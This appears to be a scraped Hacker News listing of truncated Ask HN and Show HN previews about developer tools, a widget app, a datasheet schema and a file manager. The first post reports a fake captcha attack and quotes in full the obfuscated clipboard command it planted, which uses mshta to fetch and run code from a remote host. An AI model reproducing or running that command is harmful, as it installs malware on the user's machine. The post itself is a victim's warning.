Ask HN: Crooked Timber showed showed me a virus captcha, What now?https://news.ycombinator.com/item?id=49084404Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and Jul 28, 2026 2:25 PM

Show HN: LLM-spend – Audit your OpenAI/Anthropic API spend locallyhttps://github.com/kliukovkin/llm-spendI build spend-pacing systems for ad auctions for a living, and my side-project agent workloads still kept surprising me with API bills I couldn't explain. When I asked around how people attribute LLM spend, the answers were the provider dashboard or a spreadsheet.llm-spend is a local CLI that pulls usage from the OpenAI/Anthropic reporting APIs, breaks spend down by key, model and project, projects end-of-month, and flags days that look abnormal against the same weekday's history. It also does a second, independent read of the provider's cost API and warns if the totals disagree by more than 1%. That check exists because I don't want to ship you a wrong report: it catches unit, pagination and grouping bugs in my own pipeline. It checks against the provider's cost API, not your invoice — credits, tax and non-API charges live elsewhere.Keys are the ugly part. OpenAI admin keys can be scoped down to read-only usage/cost access, but admin keys require a Team plan. Anthropic admin keys can'Jul 26, 2026 4:20 PM

Show HN: Build native iOS widgets from any HTTPS endpointhttps://news.ycombinator.com/item?id=49033628I built Dashlet since I often found myself building different web dashboards for all sorts of data (custom page views monitoring, app downloads, info from my home sensors) and I quickly got tired of always having to navigate to a page in Safari and reenter credentials to access them.I wanted to just simply be able to see it on my phone, when scrolling around it - in almost realtime.I've built bespoke apps (just for myself) in the past, that mapped a specific custom API for that purpose, but it was a hassle anytime I changed something in the response or added some new API for myself.So, Dashlet is an answer to that - it can handle any JSON (or XML, or even image) endpoints and has a nice interactive way of picking which values out of it should be displayed in which type of widget. So, if something has an API but no app (or no widget), Dashlet lets you point it at an HTTPS endpoint, visually map fields from JSON/XML/images, and create native Home Screen (also lock screen and Apple Watch)Jul 24, 2026 10:41 AM

Show HN: An open source schema definition for datasheetshttps://nkorai.github.io/datasheet-schema/Not the first person to do this but all the other examples I've seen are either dead or miss the point. Why: I was designing a Eurorack compatible instrument and I did not want to brush up on now 10 years old college electrical engineering knowledge and I just want Claude to make me a PCB board. I realized that all of the sources for electrical component information are PDFs and not very nicely machine readable. That led me to ask why not and one of the gaps I see is a lack of an agreed upon easy to use schema for both extraction and consumption of datasheet information.So I've been building datasheet-schema. It's an open JSON Schema for the electrical specs in a component datasheet. One of the core idea's is that a number by itself is useless. "VOUT = 3.3V" tells you nothing until know it was measured at 1mA load, 25C, 4.3V in. So every value in the schema carries its test conditions and a pointer back to the page it came from. That last part matters to me because if a model extracts Jul 22, 2026 6:12 PM

Show HN: I've built tldraw for HTML and Markdown pages (with encryption)https://pastehex.dev/Hello, HN!This is a small app I've built to satisfy three pains/wishes I've had for a while and I think there might be people out there who can benefit from it as well.1. I want to pop up a new tab, start writing my thoughts and, maybe, share them over the internet. As fast as I can and with as little friction possible. tldraw totally does this for drawing stuff in a whiteboard but for text, Obsidian is a local tool that requires installing and Notion is too involved. I want a simple link that just works the moment you navigate to the page.2. Sometimes I wanted to share code or other text artifacts with customers over Discord, but the platform caps messages to a certain length before it forces you to submit a .txt. Pastebin kinda fills this gap but it's an old site and it doesn't handle BIG pastes very well also it doesn't double as your own document vault (plus I don't care about all their "public pastes" thing).3. This is a recent one. Now, due to AI tools, everyone is sharing MarkdoJul 16, 2026 2:26 PM

Its a self hosted platform, that runs real CLaude code and Codex as the engine. On top of them i build a live dashboard with websockets and integrated in depth the clis, so its even nicer to work with the cli through the dashboard instead of working on the terminal. I even ended up integrating interactive terminals as well (due to the subscription change Anthropic was trying to do for harnesses) so you can also Jul 15, 2026 4:11 PM

No frameworks, no build step, no dependencies, no tracking. A single static page served from GitHub Pages.A few bits that were fun to build: - Destructible terrain: buildings are painted to an offscreen canvas and explosions erase pixels - Ballistic physics with wind, sub-stepped so a fast banana can't tunnel through a thin building between frames. - Native share sheet (Web Share API) so you can text a friend your result with a "beat my score" challenge linkIt's hot-seat two-player (pass the phone, or share a keyboard: arrows to aim, space to throw).No original Microsoft code or assets — the code and pixel art are all my own (with some help from ClaJul 10, 2026 6:14 AM

Show HN: Fast, native Mac file manager (filters, fuzzy find, 9 MB, no Electron)https://whimfiles.comMy Downloads folder had been left unkept for a really long time and cleaning it up using Finder was quite cumbersome. So I started creating a simple app to help me filter out and delete or move the files in the folder.It started out very basic and the filtering options genuinely helped me clean out the Downloads folder, then as I thought of more features I would like to see in a file manager I started to add them. Some of the features are:- Fuzzy go to folder/file where you only need to write a few letters of a full path, get suggestions and can jump to the correct path instantly - Hover over a file to preview an image or PDF without opening it - Dual-pane view and tabs that remember selected filters - Command palette to find actions fast - Batch rename (with regex support and presets for common operations), image conversion (HEIC/WebP/AVIF to JPG/PNG), zip creation - Bookmarks, Quick Look, single-click open, keyboard controlAnd many other small quality of life features.I used Claude CJul 7, 2026 8:12 AM
